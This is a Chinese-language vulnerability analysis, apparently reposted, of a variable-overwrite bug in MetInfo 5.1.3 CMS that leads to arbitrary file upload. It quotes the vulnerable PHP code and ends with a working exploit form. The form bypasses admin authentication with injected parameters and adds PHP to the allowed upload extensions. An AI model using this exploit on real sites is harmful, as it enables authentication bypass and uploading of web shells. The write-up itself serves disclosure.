显示不全请点击全屏阅读
MetInfo 23号发布了新版本5.1.5,修补了本文提到的漏洞,当然严格来说应该是任意变量覆盖漏洞….
ps:欢迎各种形式转载,首发t00ls.net
废话不多说,看代码:
include\common.inc.php 20 - 39$db_settings = parse_ini_file(ROOTPATH.'config/config_db.php');@extract($db_settings);require_once ROOTPATH.'include/mysql_class.php';$db = new dbmysql();$db->dbconn($con_db_host,$con_db_id,$con_db_pass,$con_db_name);define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());isset($_REQUEST['GLOBALS']) && exit('Access Error');require_once ROOTPATH.'include/global.func.php';foreach(array('_COOKIE', '_POST', '_GET') as $_request) { foreach($$_request as $_key => $_value) { $_key{0} != '_' && $$_key = daddslashes($_value); }}$query="select * from {$tablepre}config where name='met_tablename' and lang='metinfo'";$mettable=$db->get_one($query);$mettables=explode('|',$mettable[value]);foreach($mettables as $key=>$val){ $tablename='met_'.$val; $$tablename=$tablepre.$val;}metinfo系统通过查询数据库的{$tablepre}config表,并将获取的结果通过foreach循环初始化表名变量,其中的
是通过代码
$db_settings = parse_ini_file(ROOTPATH.'config/config_db.php');@extract($db_settings);
来初始化的,然后在系统中使用这样”SELECT * FROM $met_message where id=$id and lang=’$lang’”的SQL查询数据库,
其中的$met_message变量就是前面foreach循环初始化的变量……
我们可以覆盖$tablepre变量使表名初始化失败,进而提交表名变量…..
我找了个后台的上传页面,通过覆盖变量绕过后台验证并且覆盖允许上传后缀列表,构造上传漏洞,
MetInfo(米拓) v5.1.3任意文件上传漏洞分析附利用EXP漏洞预警
,电脑资料
《MetInfo(米拓) v5.1.3任意文件上传漏洞分析附利用EXP漏洞预警》(https://www.unjs.com)。exp:
<form. enctype="multipart/form-data" method="POST" name="myform" action="http:/ /www.xxx.com /metinfo/admin/include/uploadify.php?tablepre=xx&met_lang=met_lang&lang=cn&met_admin_table=met_admin_table%20where%20usertype=3%23&metinfo_admin_id=1&metinfo_admin_pass=2&type=upfile&met_file_format=jpg|pphphp"> <input name="Filedata" type='file' size="20" ><input type="submit" name="Submit" value="提交信息"></form>